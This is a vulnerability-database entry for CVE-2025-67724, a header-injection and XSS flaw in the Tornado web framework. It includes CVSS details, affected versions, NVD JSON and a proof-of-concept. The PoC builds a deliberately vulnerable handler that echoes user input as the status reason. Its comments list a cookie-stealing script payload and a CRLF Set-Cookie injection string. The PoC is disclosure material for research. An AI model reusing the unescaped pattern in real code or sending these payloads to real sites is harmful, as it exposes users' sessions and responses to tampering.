Security Vulnerability Report
中文
CVE-2025-67724 CVSS 5.4 MEDIUM

CVE-2025-67724

Published: 2025-12-12 06:15:41
Last Modified: 2025-12-22 18:49:24

Description

Tornado is a Python web framework and asynchronous networking library. In versions 6.5.2 and below, the supplied reason phrase is used unescaped in HTTP headers (where it could be used for header injection) or in HTML in the default error page (where it could be used for XSS) and can be exploited by passing untrusted or malicious data into the reason argument. Used by both RequestHandler.set_status and tornado.web.HTTPError, the argument is designed to allow applications to pass custom "reason" phrases (the "Not Found" in HTTP/1.1 404 Not Found) to the HTTP status line (mainly for non-standard status codes). This issue is fixed in version 6.5.3.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:* - VULNERABLE
Tornado < 6.5.3
Tornado 6.5.2
Tornado 6.5.1
Tornado 6.5.0
Tornado 6.4.x
Tornado 6.3.x
Tornado 6.2.x及更低版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import tornado.ioloop import tornado.web import tornado.httpclient class VulnerableHandler(tornado.web.RequestHandler): def get(self): # Vulnerable: user input used directly in reason phrase without escaping reason = self.get_argument('reason', 'Not Found') # XSS payload: <script>alert('XSS')</script> # Header injection payload: test\r\nSet-Cookie: evil=true self.set_status(404, reason=reason) self.write(f'<html><body><h1>404 {reason}</h1></body></html>') class VulnerableApp(tornado.web.Application): def __init__(self): handlers = [ (r'/vulnerable', VulnerableHandler), ] super().__init__(handlers) if __name__ == '__main__': app = VulnerableApp() app.listen(8888) tornado.ioloop.IOLoop.current().start() # Attack vectors: # 1. XSS: GET /vulnerable?reason=<script>alert(document.cookie)</script> # 2. Header Injection: GET /vulnerable?reason=test%0D%0ASet-Cookie:%20malicious=1 # 3. HTTP Response Splitting: Craft malicious reason to inject additional HTTP responses

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67724", "sourceIdentifier": "[email protected]", "published": "2025-12-12T06:15:41.213", "lastModified": "2025-12-22T18:49:24.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tornado is a Python web framework and asynchronous networking library. In versions 6.5.2 and below, the supplied reason phrase is used unescaped in HTTP headers (where it could be used for header injection) or in HTML in the default error page (where it could be used for XSS) and can be exploited by passing untrusted or malicious data into the reason argument. Used by both RequestHandler.set_status and tornado.web.HTTPError, the argument is designed to allow applications to pass custom \"reason\" phrases (the \"Not Found\" in HTTP/1.1 404 Not Found) to the HTTP status line (mainly for non-standard status codes). This issue is fixed in version 6.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-644"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "64279E50-159B-4CAB-9BD0-E2B764C3C40C"}]}]}], "references": [{"url": "https://github.com/tornadoweb/tornado/commit/9c163aebeaad9e6e7d28bac1f33580eb00b0e421", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pr2v-jx2c-wg9f", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}